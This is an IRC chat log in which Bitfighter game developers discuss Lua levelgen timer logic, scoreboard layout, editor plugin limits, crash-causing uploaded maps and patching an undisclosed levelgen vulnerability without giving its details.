20:34:23 | Watusimoto | my coworkers hate it |
20:34:28 | bobdaduck | just stick a zoneID 1 |
20:34:33 | bobdaduck | xD |
20:34:46 | raptor | bobdaduck: please don't schedule a Timer EVERY tick |
20:34:56 | bobdaduck | yeah I know sloppy logic. |
20:35:00 | raptor | that's a recipe for disaster |
20:35:01 | bobdaduck | BUT. |
20:35:07 | bobdaduck | It actually works out well. |
20:35:07 | raptor | like game-crashing recipe |
20:35:28 | bobdaduck | yes well. |
20:35:33 | bobdaduck | I like the effect it gives xD |
20:35:48 | raptor | because after 1 second, you'll have close to 30 timers all running! |
20:35:55 | bobdaduck | Yes yes I know |
20:36:05 | bobdaduck | I realize its sloppy logic. I SAID IT WAS SLOPPY LOGIC. |
20:36:21 | kaen | Watusimoto, remember that resource-limiting feature we were discussing the other day... |
20:36:30 | kaen | ^ this is why we need it. |
20:36:34 | bobdaduck | but try it. Its a fun effect. |
20:37:01 | raptor | that is why I locked levelgens to every 33 ms |
20:37:02 | Watusimoto | ha, yes |
20:37:25 | bobdaduck | Did you try the script? |
20:37:30 | bobdaduck | Or are you still staring at it in horror |
20:37:41 | | raptor is still horrified |
20:37:53 | bobdaduck | (I just added if(#registeredPlayers > 0) to it) |
20:38:14 | Watusimoto | I have to say, that script is going to suck |
20:38:32 | kaen | well, he's calling scheduleOnce |
20:38:33 | bobdaduck | I KNOW BUT IT GETS THE JOB DONE WELL. |
20:38:45 | bobdaduck | scheduleRepeating |
20:38:46 | bobdaduck | ontick |
20:38:48 | bobdaduck | totes |
20:39:03 | Watusimoto | that timer logic will work fine, I think |
20:39:12 | kaen | so it's basically just a deferred function call |
20:39:15 | Watusimoto | as long as the game isn't more than about 10-20 seconds long |
20:39:29 | | bobdaduck is totally now trying to figure out a situation where schedulerepeating ontick is a good idea |
20:39:38 | Watusimoto | it isn't |
20:39:53 | Watusimoto | this script shouldn't even have a ontick event |
20:40:13 | Watusimoto | set the timer in main, and when it goes off, call a function that sets the timer again |
20:40:18 | kaen | yeah, you could call schedule once and have the callback reschedule itself |
20:40:25 | kaen | good idea as always, wat :) |
20:40:26 | raptor | yes |
20:40:35 | raptor | ok, ran it - interesting |
20:40:42 | raptor | like riding a bike through sand |
20:40:43 | Watusimoto | exactement! |
20:40:54 | raptor | or sand-gravel |
20:41:07 | Watusimoto | like swimming through honey |
20:41:25 | bobdaduck | And I think that's totally what Quartz wants |
20:41:30 | bobdaduck | in the little zone in the center |
20:41:47 | kaen | huh I didn't know about the # syntax |
20:41:51 | kaen | that's nuts. |
20:42:17 | raptor | Yay for Lua idiosyncracies |
20:42:20 | bobdaduck | lol |
20:44:36 | bobdaduck | Fun script. |
20:45:32 | Watusimoto | I just cannot make that display look right!!!! |
20:45:33 | Watusimoto | http://img713.imageshack.us/img713/5827/screenshot40r.png |
20:45:56 | raptor | Watusimoto: kaen's suggestion is to drop the lines, but play with the colors |
20:46:06 | Watusimoto | I think the screenshot I posted before dinner (http://img839.imageshack.us/img839/7640/screenshot39u.png) had the time too big |
20:46:16 | raptor | so don't make the scores the same color as the time, etc. |
20:46:26 | Watusimoto | ignore the scores |
20:46:36 | Watusimoto | I'm looking only at the clock, the game type, and the winning score |
20:46:57 | Watusimoto | I want to get that right before futzing with the rest |
20:47:05 | raptor | maybe just the middle separation line? |
20:47:17 | kaen | the scores are a part of that visual block. in my experience you should balance them all at once. |
20:47:35 | raptor | and rely on different score colors/sizes to make it easy to absorb |
20:47:41 | Watusimoto | there is some merit to that statement |
20:48:03 | kaen | I also really liked the mode on top of the winning score |
20:48:14 | kaen | when it was made to have the same total height as the timer |
20:48:23 | Watusimoto | I'm coming back to that as well after seeing my most recent posting |
20:48:33 | kaen | I'm also of the opinion that you don't need the lines at all |
20:48:37 | bobdaduck | What about just removing the horizontal line? |
20:48:39 | raptor | I like it too, but the time still looks really big |
20:48:41 | Watusimoto | so the http://img713.imageshack.us/img713/5827/screenshot40r.png block |
20:48:52 | Watusimoto | the horizongal line is what makes the right-alignment work |
20:48:53 | raptor | size should be given to most important, right? |
20:49:09 | kaen | definitely. |
20:49:11 | Watusimoto | biggest = most important, yes |
20:49:19 | Watusimoto | and that is time |
20:49:50 | kaen | wait, the line is functionally needed to align the display? |
20:49:58 | Watusimoto | no |
20:49:59 | kaen | oh |
20:50:09 | Watusimoto | but it compensates for the fact that the time changes width every second |
20:50:20 | Watusimoto | and we don;t want to realign every second |
20:50:28 | Watusimoto | so the line gives you some width-stability |
20:50:45 | Watusimoto | gives you something to visually align to |
20:51:27 | Watusimoto | ok, I'll develop more on the big time, stacked mode design |
20:51:36 | kaen | well, we've got a lot of cooks in this little kitchen so I'll leave you to it :) |
20:52:06 | Watusimoto | more like a reluctant short order cook and his prison buddy |
20:52:21 | bobdaduck | xD |
20:53:11 | kaen | rofl |
20:53:46 | bobdaduck | Why do your wives never play bitfighter? |
20:54:33 | raptor | mine would rather spin wool |
20:54:35 | kaen | probably the graphic violence |
20:54:48 | kaen | or the adult themes |
20:54:51 | bobdaduck | xD' |
20:55:33 | kaen | my girl likes tending virtual farms better |
20:55:53 | kaen | or making cabins with popsicle sticks. |
20:56:04 | kaen | there's already three on my counter... |
20:56:11 | bobdaduck | fun |
20:56:33 | raptor | bobdaduck: please tell me you'll be fixing your script before giving it to Quartz |
20:56:39 | bobdaduck | lol |
20:56:55 | bobdaduck | Why would I do that? |
20:57:42 | raptor | because if a level were to be played with several players... i could see it really, really slowing down and causing *real* lag for most of gameplay |
20:58:11 | bobdaduck | yeah yeah yeah |
20:58:13 | bobdaduck | fixed it |
20:58:29 | kaen | well, shame on the admin for letting someone run an arbitrary levelgen on their server |
20:58:37 | bobdaduck | xD |
20:58:38 | kaen | which reminds me to take down my uploader form |
20:58:46 | raptor | haha |
20:59:09 | bobdaduck | Which uploader form? |
20:59:15 | kaen | the only uploader form |
20:59:34 | kaen | I discovered a critical vulnerability in levelgen scripts (which I won't discuss specifics of) |
20:59:53 | kaen | and so I'm afraid I have to lock down which levelgens get run. |
21:00:02 | bobdaduck | That they can write to files? |
21:00:08 | kaen | much worse than that |
21:00:12 | raptor | oh so much more.. |
21:00:13 | bobdaduck | Aren't I like, the only person who even knows about your uploader form? |
21:00:31 | kaen | mistakes get made. lips get loose |
21:00:32 | raptor | kaen: have you thought about disallowing levels/levelgens if they're flagged for some reason? |
21:01:01 | kaen | could you explain a bit more raptor? |
21:01:26 | raptor | we had the idea of letting people 'flag' levels for whatever reason, right? |
21:01:30 | bobdaduck | http://pastie.org/7319620 - better? |
21:01:31 | kaen | oh on the level db |
21:01:33 | kaen | good idea |
21:01:38 | raptor | maybe if flagged level is undownloadable until reviewd |
21:01:42 | raptor | cant spel.. |
21:01:50 | kaen | bobdaduck it's better for everyone involved if you don't have access to that. if something were to happen (your fault or otherwise) there would be only place to put my suspicion |
21:01:56 | kaen | and I like you too much for that to be a possibility |
21:02:06 | raptor | heh |
21:02:13 | | raptor code reviews bobdaduck |
21:02:15 | kaen | raptor, that's a good idea. |
21:02:38 | bobdaduck | Or at least put giant flashing lights all over it and be like "DOWNLOAD AT YOUR OWN RISK SOMEONE FLAGGED THIS" |
21:02:54 | bobdaduck | And normal users can only flag like two a day...? |
21:03:20 | raptor | if a normal user flags for abuse, they get put in the corner? |
21:03:29 | raptor | i mean abuses the flagging capability |
21:03:30 | kaen | hmm actually I think I'll just patch my servers with my proposed fix and restore the uploader |
21:03:42 | kaen | raptor, yes that's how I'd prefer to handle it |
21:09:09 | raptor | ok bobdaduck , that's... better-ish |
21:10:29 | bobdaduck | betterish? |
21:11:12 | raptor | it's much better performance wise, but you'll still have several Timer chains being triggered at once if there are more than 1 ship entering the zone |
21:11:19 | raptor | but never more than the number of players on a map |
21:11:34 | bobdaduck | That's semi-intentional |
21:11:38 | raptor | ok |
21:11:44 | raptor | well, it's better than before |
21:11:55 | bobdaduck | but before was so fun! xD |
21:12:14 | raptor | so if 5 players enter, 5 timer chains start - but if 4 leave the zone, then all 5 are operating on the 1 left? |
21:12:41 | bobdaduck | yeah |
21:13:14 | bobdaduck | never enough to keep them from moving though. Setting the timer to 1 you can still move |
21:13:32 | raptor | that's because it actually can't go below 33.. :) |
21:14:19 | bobdaduck | What! |
21:14:20 | bobdaduck | why! |
21:15:08 | raptor | levelgens and bots cannot tick faster than 30 frames per second |
21:15:20 | raptor | which is 33 ms smallest interval per tick |
21:15:55 | raptor | that's also why the health pack is jumpy on your carnival level |
21:17:02 | bobdaduck | Why can't they tick faster than 30? |
21:17:32 | kaen | because bobdaduck writes levelgen scripts. |
21:17:39 | bobdaduck | xD |
21:18:00 | bobdaduck | THAT'S DISCRIMINATION. |
21:18:06 | bobdaduck | I'M CALLING MY LAWYER. |
21:18:19 | raptor | s_bot used to go at maximum (possibly at 100 FPS) |
21:18:41 | raptor | it was part of a huge efficiency effort with Lua and bots for 017? I think |
21:19:25 | | Darrel Quit (Read error: Connection reset by peer) |
21:20:07 | bobdaduck | Speaking as myself, I'm against arbitrary limits of any kind. |
21:20:15 | bobdaduck | Speaking of |
21:20:48 | raptor | I didn't think bots needed to think faster than 30 fps |
21:20:54 | bobdaduck | Quartz brought up a valid complaint like last nightish, where the circle tool (ctrl;) can only make like, really small circles |
21:20:56 | raptor | i almost chose 15 |
21:21:08 | raptor | bobdaduck: really? |
21:21:12 | bobdaduck | well they're not really small. But they need to be bigger |
21:21:12 | raptor | tell me how |
21:21:17 | bobdaduck | and the circle tool has this stupid limit |
21:21:20 | bobdaduck | for no reason whatsoever |
21:21:29 | raptor | be specific! |
21:21:37 | bobdaduck | So you have to make the circle and then scale it up with ctrl-shift-x |
21:21:51 | raptor | also, tell quartz to open the plugin in a text editor, change what he wants, then restart bitfighter with it |
21:22:07 | bobdaduck | 500 grid units is the biggest radius circle tool allows for |
21:22:12 | raptor | because it's Lua... plain text |
21:22:34 | bobdaduck | Which is about 20 grid squares, or two big ones. |
21:22:38 | raptor | it's in the editor_plugins |
21:22:39 | raptor | folder |
21:23:16 | bobdaduck | yeah sure. |
21:23:21 | bobdaduck | so uh, arbitrary limits WHY? |
21:23:43 | raptor | attempt at sanity - sometimes it fails |
21:24:19 | raptor | huh, yeah, that's a dumb limit |
21:24:35 | bobdaduck | all are dumb limits |
21:24:37 | kaen | we should just let people memory bomb themselves. |
21:24:43 | kaen | they'll figure it out. |
21:24:46 | bobdaduck | seriously! |
21:25:00 | bobdaduck | changing it to 50000 |
21:25:04 | raptor | no, they'll come to us asking why our game is so stupid |
21:25:13 | kaen | that was tongue-in-cheek |
21:25:20 | raptor | (I know) :) |
21:25:35 | raptor | and we'll respond: "Magic has limits, go back to school" |
21:25:40 | bobdaduck | lol |
21:26:30 | raptor | bobdaduck: the idea of the editor plugins was to make them easy to edit and create |
21:26:35 | kaen | bobdaduck, imagine you're a new player building your first level. you spend some ridiculous amount of time perfectly aligning your speedzones and forcefields and all that, then go to add a circle. you type in (maybe on accident) some massive number and suddenly bitfighter locks up and destroys all of your work. |
21:26:52 | raptor | in fact, I bet Quartz could make some that would do certain tasks to make his life easier |
21:27:08 | bobdaduck | but that's not even possible kaen. The circle tool is too simple. |
21:27:13 | kaen | okay |
21:27:29 | bobdaduck | Also no new player in their right mind is using circle tool. |
21:27:45 | kaen | well you'll just have to live with the fact that cars have seatbelts and bitfighter has protective limits. |
21:28:25 | kaen | but you don't have to wear yours. |
21:28:43 | bobdaduck | Good point |
21:29:04 | bobdaduck | If I really cared I would just pull out the bitfighter source and mod it to the point where it lets me do the things I want |
21:29:44 | bobdaduck | ...Course that would probably break compatability and stuff and I don't have enough experience to do that anyway, but still! |
21:36:37 | Watusimoto | kaen: as a short term fix to the vulnerability, you can set the offending libs to nil and they cannot be used |
21:37:01 | kaen | I just patched my server with the lua_open calls |
21:37:08 | kaen | works like a champ and no more vulnerability |
21:37:12 | Watusimoto | and you can do that in the lua init file |
21:37:14 | Watusimoto | ok |
21:37:16 | Watusimoto | great |
21:38:20 | raptor | you'll want to really harden 'kaen test' more than normal... side effect of your anonymous upload service to the community :) |
21:39:56 | | BFLogBot Commit: 6afe0bc2846f | Author: buckyballreaction | Message: Increase arc radius limit for the editor draw_arcs plugin |
21:39:57 | raptor | that's for you bobdaduck |
21:40:08 | kaen | that's a good idea |
21:42:06 | bobdaduck | yayy |
21:42:22 | bobdaduck | Didn't I create an issue on the google bug list about increasing arbitrary limits? |
21:42:28 | kaen | bobdaduck do you know the names of the crashy maps? |
21:42:38 | raptor | server aids |
21:42:40 | bobdaduck | Why? |
21:42:47 | kaen | "server aids" ? |
21:42:51 | kaen | classy as always |
21:42:52 | bobdaduck | lol |
21:44:19 | bobdaduck | I just know awesomesauce 2.0 |
21:44:25 | bobdaduck | and "you know you want to play this" |
21:44:55 | bobdaduck | Okay so I'm trying to make a simple plugin now |
21:45:11 | kaen | oh cool |
21:45:12 | bobdaduck | To add single point items to the game. |
21:45:19 | kaen | he overwrote RTS with a crashy map |
21:45:22 | bobdaduck | And I'm confused as knrl |
21:45:47 | bobdaduck | There's two RTS |
21:46:23 | kaen | I'm like one step away from banning his ip |
21:46:48 | kaen | there's a difference between constructively finding bugs and intentionally thwarting the fun of other users |
21:46:55 | kaen | and he is well beyond that line |
21:46:58 | bobdaduck | okay so there's three RTSs |
21:47:08 | bobdaduck | the first one crashes |
21:47:13 | bobdaduck | the second one is current |
21:47:19 | bobdaduck | and the third one is outdated. |
21:48:18 | bobdaduck | You say its supposed to be "easy" to make new plugins? |
21:48:27 | bobdaduck | Like I am so confused |
21:48:37 | raptor | well... that was the goal when Watusimoto implemented them... |
21:49:20 | Watusimoto | easy! |
21:49:21 | Watusimoto | ish |
21:49:34 | Watusimoto | use the curves tool as a template |
21:49:39 | Watusimoto | gut it and add your own code |
21:49:40 | bobdaduck | This is more confusing than source diving the actual C++ code |
21:49:45 | bobdaduck | That's what I'm doing. |
21:49:49 | raptor | bobdaduck: it looks like you have two main parts: |
21:49:50 | Watusimoto | do you need a menu? |
21:49:53 | raptor | getArgsMenu() to build out the menu |
21:50:05 | raptor | then use main() to grab what's in the menu and run anything you want |
21:50:25 | Watusimoto | if you don't need a menu, getArgsMenu can just return nil, I think |
21:51:04 | raptor | oh... it uses plugin:addLevelLine() ? |
21:52:11 | bobdaduck | Let's see. I named one RTS |
21:52:11 | bobdaduck | Another WALUIGI |
21:52:11 | bobdaduck | You Want To Play This |
21:52:22 | | Watusimoto_ has joined |
21:52:44 | raptor | bobdaduck: what's an idea for a useful editor plugin? |
21:53:05 | bobdaduck | I'm trying to make one that adds the hidden items. Ship, energyItem, slipzone |
21:53:21 | bobdaduck | Can't figure out how to add a two-point item from the base |
21:55:06 | | Watusimoto Quit (Ping timeout: 260 seconds) |
21:55:29 | Watusimoto_ | what does it mean "from the base"? |
21:55:39 | bobdaduck | using draw_arcs as my base. |
21:55:49 | bobdaduck | So much math that I can't even see |
21:55:53 | bobdaduck | or tell what's relevant to anything |
21:56:44 | bobdaduck | Like I would be better off starting from scratch and just guessing at what goes where |
22:00:48 | raptor | Watusimoto_: can we add objects via API with menu items? (instead of addLevelLine)? |
22:01:24 | Watusimoto_ | we should be able to |
22:02:43 | Watusimoto_ | bobdaduck: remove all the guts of the script and add the simplest thing you can; just create an object from a static point or two, and once you get that to work, make it fancier |
22:03:04 | bobdaduck | I haven't the slightest idea what you just said. |
22:03:08 | bobdaduck | But I'm making progress. |
22:04:19 | bobdaduck | By progress I mean I managed to crash the game. |
22:06:08 | | Quartzy has joined |
22:06:34 | bobdaduck | http://pastie.org/7320640 |
22:06:44 | Quartzy | OOH WHAT'S THIS |
22:07:05 | bobdaduck | I'm trying to make a plugin that adds the hidden items (ship energyItem slipzone) |
22:07:26 | Quartzy | and circle |
22:07:27 | Quartzy | lol |
22:07:45 | bobdaduck | shh |
22:08:00 | raptor | NO CIRCLE |
22:08:02 | raptor | man |
22:08:05 | raptor | bobdaduck! |
22:08:14 | Quartzy | hahaha |
22:08:20 | Quartzy | Dude raptor everyone already knows about them. |
22:08:34 | Quartzy | Lamp found them so then, yeah. |
22:08:36 | raptor | that measn we need to kill them quickly |
22:08:40 | raptor | oh great |
22:08:41 | bobdaduck | Its okay though I think we convinced lamp and amgine that it crashes the game |
22:08:49 | Quartzy | Yeah we did. |
22:08:50 | Quartzy | Which is pretty much true... |
22:08:58 | Quartzy | It rapes servers, anyway. |
22:09:16 | bobdaduck | So anyway plugin crashes the game consistently. |
22:09:30 | Quartzy | cool, maybe make your plugin not suck. |
22:09:46 | bobdaduck | That's... Why I'm here...? |
22:09:58 | Quartzy | http://en.wikipedia.org/wiki/List_of_burn_centers_in_the_United_States |
22:10:31 | bobdaduck | That was like the most retarded burn ever |
22:10:35 | bobdaduck | c'mon you can do better than that |
22:10:41 | Quartzy | Not really xD |
22:11:23 | Quartzy | Tell yer sister to stop idling on kaen test I swear... |
22:11:28 | Quartzy | I'm trying to find the rest of the crash maps >_> |
22:11:44 | bobdaduck | xD |
22:12:01 | raptor | segfault with plugin! |
22:12:09 | bobdaduck | Segfault? |
22:12:17 | raptor | hard crash |
22:12:18 | bobdaduck | OH MAN WE'RE GETTING INTO THE BIG-BOY ERRORS HERE |
22:13:11 | bobdaduck | yay! |
22:13:15 | Quartzy | kaen, another crash map is called "AWESOME Map" |
22:13:26 | kaen | I super duper don't care |
22:13:30 | bobdaduck | Wait, will fixing that take priority over fixing the forcefield snapping bug? |
22:13:41 | kaen | I've found a better solution. |
22:14:28 | raptor | Watusimoto_: looks like levelgen:addItem() doesn't work in a plugin |
22:14:49 | bobdaduck | I don't use levelgen:addItem()? |
22:14:57 | Quartzy | kaen another one is "Awesomesauce 2.0" |
22:15:11 | Watusimoto_ | great |
22:15:17 | kaen | join kaen test and show them to me? |
22:15:35 | kaen | there we go. |
22:15:38 | Watusimoto_ | could it be that the levelgen object doesn't exist? |
22:15:47 | Quartzy | Ummm okay, sorry for trying to help you find them. |
22:15:48 | bobdaduck | It crashes on every single one... |
22:15:53 | Watusimoto_ | if so, it might have a different, more logical name in the editor |
22:15:55 | Watusimoto_ | like Editor |
22:16:17 | raptor | hmmm |
22:16:32 | raptor | also a lua script crash will crash the game with a segfault... |
22:16:35 | raptor | in the editor |
22:16:43 | raptor | adding to running list... sigh |
22:18:33 | | Quartzy Quit (Quit: Page closed) |
22:18:44 | Watusimoto_ | after I get done with the ui stuff, I'll tackle some running list items |
22:18:50 | Watusimoto_ | try to whack that baby back down to size |
22:19:09 | Watusimoto_ | there should be no more than 50-60 items on it at any time, i think |
22:19:22 | raptor | hmmm... only levegen: has addItem |
22:19:28 | raptor | editor: has addLevelLine |
22:19:30 | raptor | sadness |
22:20:00 | Watusimoto_ | sounds like I never got to that... |
22:20:14 | Watusimoto_ | in all the lua mayhem and race to release |
22:20:33 | raptor | yeah... bobdaduck plugins aren't really ready for wide spread building, unlike levelgens |
22:20:50 | raptor | but you can hack around it with editor:addLevelLine |
22:21:41 | bobdaduck | uhhhhh |
22:22:05 | bobdaduck | I have no idea what you're talking about. My plugin is like 10 lines long and doesn't even use addItem() |
22:33:09 | raptor | bobdaduck: http://pastie.org/7320880 |
22:33:54 | kaen | so wildcard bans only work if you wildcard the whole IP |
22:34:00 | kaen | can't do just the last byte |
22:34:01 | raptor | Watusimoto_: I think we should remove Circle/CircleSpawn for good, unless you can think of a reason to keep them around |
22:34:13 | raptor | no ban by octect? |
22:34:19 | raptor | octet |
22:34:22 | kaen | says the line is invalid if I do |
22:34:23 | raptor | huh |
22:34:28 | bobdaduck | Because bobdaduck likes them |
22:34:28 | raptor | sadness |
22:34:33 | Watusimoto_ | I can't think of a reason, unless we think of a way to make them unlame |
22:34:34 | bobdaduck | And uses them in at least one legitimate level |
22:34:36 | kaen | most supreme sadness |
22:34:51 | raptor | Watusimoto_: I think Circles have a fundamental flaw |
22:34:56 | raptor | network heavy |
22:34:58 | Watusimoto_ | which one? |
22:35:00 | Watusimoto_ | yes |
22:35:18 | Watusimoto_ | what if they dodged and killed you when they touched you? |
22:35:23 | bobdaduck | I use them in one serious level, so don't remove them pls |
22:35:51 | Watusimoto_ | then you could use only a few of them |
22:36:07 | bobdaduck | if they dodged and killed you then they're just a sentient asteroid and asteroids aren't good for gameplay anyway. |
22:36:07 | raptor | maybe if we took out the spawn |
22:36:39 | raptor | i don't know.. |
22:36:45 | Watusimoto_ | would that break bdd's level? |
22:36:52 | bobdaduck | I add them via levelgen |
22:36:55 | raptor | bobdaduck: you were expressly told NOT to use them in *anything* |
22:37:20 | Watusimoto_ | well, we can start by removing the spawn |
22:37:39 | bobdaduck | Yeah yeah yeah. But I'd rather not create a Robbie the Resource spawner. |
22:37:54 | Watusimoto_ | or hell, if it's only one level that breaks, we can kill it altogether |
22:38:01 | bobdaduck | What is the huge problem with circles that we have to remove them? |
22:38:04 | raptor | Maybe just comment the code out for it all for now? Also I'm suprised that they can be even added via levelgen... |
22:38:08 | bobdaduck | Like, they're not hurting anything? |
22:39:01 | raptor | I have had the itch for a new game item, but I'm not sure what.. |
22:39:38 | bobdaduck | suns |
22:40:18 | bobdaduck | And of course this talk of removing circles is just making me further resent engineer |
22:40:44 | Watusimoto_ | a super turret? |
22:40:56 | bobdaduck | Already doable |
22:41:10 | Watusimoto_ | a cannon for inside cores? |
22:41:31 | bobdaduck | How about suns? |
22:42:17 | Watusimoto_ | we could try that idea of having some sort of power boost object that gets left behidnd for other players to pick up when you die |
22:42:32 | bobdaduck | ...Like energy items? |
22:42:33 | raptor | I'm thinking we need to nuke Circles before they get out of hand, I'll deal with bobdaduck's fury |
22:42:38 | raptor | :) |
22:42:44 | bobdaduck | ..... |
22:42:44 | Watusimoto_ | go for it! |
22:42:58 | Watusimoto_ | nuke em from orbit... |
22:43:09 | | bobdaduck has left |
22:43:23 | Watusimoto_ | quick, do it now! |
22:43:49 | raptor | heh |
22:44:24 | Watusimoto_ | how about some sort of rotating wall |
22:44:30 | Watusimoto_ | ever play ladybug? |
22:44:36 | raptor | no... |
22:44:44 | Watusimoto_ | probably won't work |
22:44:50 | raptor | (I hope I didn't upset bobdaduck.. did he leave in anger?) |
22:46:06 | raptor | what about the Worm thingy from robotron? |
22:46:27 | Watusimoto_ | not sure |
22:46:29 | Watusimoto_ | http://www.youtube.com/watch?v=B147wGBkxLA |
22:46:44 | Watusimoto_ | I can't play the video, but there are a dozen on every level |
22:46:50 | Watusimoto_ | worms would be good |
22:47:28 | raptor | pacman? |
22:47:42 | Watusimoto_ | a pacman that gobbles up your ship? |
22:47:51 | raptor | that's what ladybug looks like.. |
22:48:01 | Watusimoto_ | it's way better than pacman |
22:48:18 | raptor | but more complex |
22:48:28 | Watusimoto_ | you get fruits and spell words and operate the doors, and there are all sorts of insects |
22:49:36 | raptor | huh |
22:49:43 | raptor | do the walls not rotate after a while? |
22:49:53 | Watusimoto_ | no they always rotate |
22:50:46 | Watusimoto_ | or what about a smoosher that occasionally smooshes anything in its way... something that might live in a hallway |
22:51:01 | Watusimoto_ | like an elevator door |
22:52:55 | raptor | willful suspension of disbelief (in a space game) |
22:55:37 | Watusimoto_ | it could look like the garbage compactor from the death star |
22:56:35 | Watusimoto_ | a high-speed zone |
22:56:56 | Watusimoto_ | bounce-wall |
23:04:11 | raptor | space monster |
23:07:08 | | SolumnMus has joined |
23:07:51 | SolumnMus | raptor: How do I connect to a wireless network on openSUSE 11.1? |
23:08:02 | raptor | 11.1 ?? |
23:08:06 | raptor | that's quite old |
23:08:16 | SolumnMus | PowerPC |
23:08:17 | raptor | let me think... what desktop are you using? |
23:08:26 | SolumnMus | GNOME |
23:08:33 | raptor | laptop? |
23:08:40 | SolumnMus | Yes |
23:08:52 | SolumnMus | iBook G4 |
23:09:27 | raptor | is the 'NetworkManager' applet in the tray bar? |
23:09:28 | | fordcars has joined |
23:09:46 | raptor | trying to remember how it was that long ago.. |
23:09:59 | SolumnMus | One sec. It's booting |
23:11:46 | SolumnMus | I have a Network Manager shortcut under "Computer" |
23:12:16 | raptor | here is a guide to make sure it is enabled: http://www.linuxtopia.org/online_books//opensuse_guides/opensuse11.1_startup_guide/sec_nm_activate.html |
23:12:52 | kaen | I can't seem to generate a zone via levelgen |
23:13:13 | raptor | there are two ways for the subsystem to connect to a network: via 'NetworkManager' or the older 'ifup' way. Laptops should probably use 'NetworkManager', and both can be set in the yast -> network control panel |
23:14:30 | kaen | derp nevermind |
23:14:55 | fordcars | nice logger raptor! |
23:15:08 | SolumnMus | Now it's telling I don't have any network devices available... |
23:15:27 | fordcars | kaen: You have sound :D |
23:16:08 | SolumnMus | I don't have any sound on this install of openSUSE either... |
23:16:28 | fordcars | heg |
23:16:32 | fordcars | *heh |
23:17:02 | SolumnMus | No wifi and no sound... |
23:17:40 | kaen | okay I can't dup "ghost (neutral) ship touching a levelgen'd zone (goalzone did the job)" |
23:18:07 | kaen | other than that kaen test is a bit hardened |
23:18:43 | raptor | yay! |
23:18:47 | kaen | however |
23:18:52 | SolumnMus | I'm going to #opensuse-ppc |
23:19:05 | kaen | adding a goalzone constructed with no parameters gives me an "invalid packet" error |
23:19:07 | raptor | SolumnMus: that is an old, old version of openSUSE.. |
23:19:26 | kaen | http://pastie.org/7321255 |
23:19:29 | raptor | yuk |
23:19:47 | raptor | oh... |
23:19:49 | kaen | which is harder to trace than the others (which segfaulted) |
23:19:52 | SolumnMus | It's the latest working for PPC |
23:20:06 | raptor | uhh... I think there is a lot of game logic that depends on knowing goalzones exist before anything |
23:20:46 | kaen | I'm not sure I understand. |
23:21:11 | raptor | so adding via levelgen I would expect to fail. I think each gametype that uses goal zones has it's own logic of what to do |
23:21:34 | raptor | like retrieve would need to know how many zones there are so it can tell if all are filled |
23:23:48 | raptor | ok, heading home. back later tonight |
23:24:36 | kaen | nope. collision detection assumes zones have points |
23:24:45 | kaen | just needed a size check before traversing the points. |
23:24:53 | raptor | no i mean scoring touchdowns |
23:24:56 | | SolumnMus Quit (Quit: SolumnMus) |
23:25:20 | raptor | like the level is set up with knowing that 5 zones == touch down |
23:25:29 | raptor | when the game starts |
23:25:39 | raptor | and I shoudl be leaving... sorry I'm not much more help |
23:25:42 | raptor | bye! |
23:25:43 | kaen | that's okay |
23:25:46 | kaen | later |
23:25:51 | | raptor Quit () |
23:47:06 | kaen | Watusimoto_ how do you want to deal with teleporter delay? |
23:47:20 | kaen | set a minimum threshold or nix it completely? |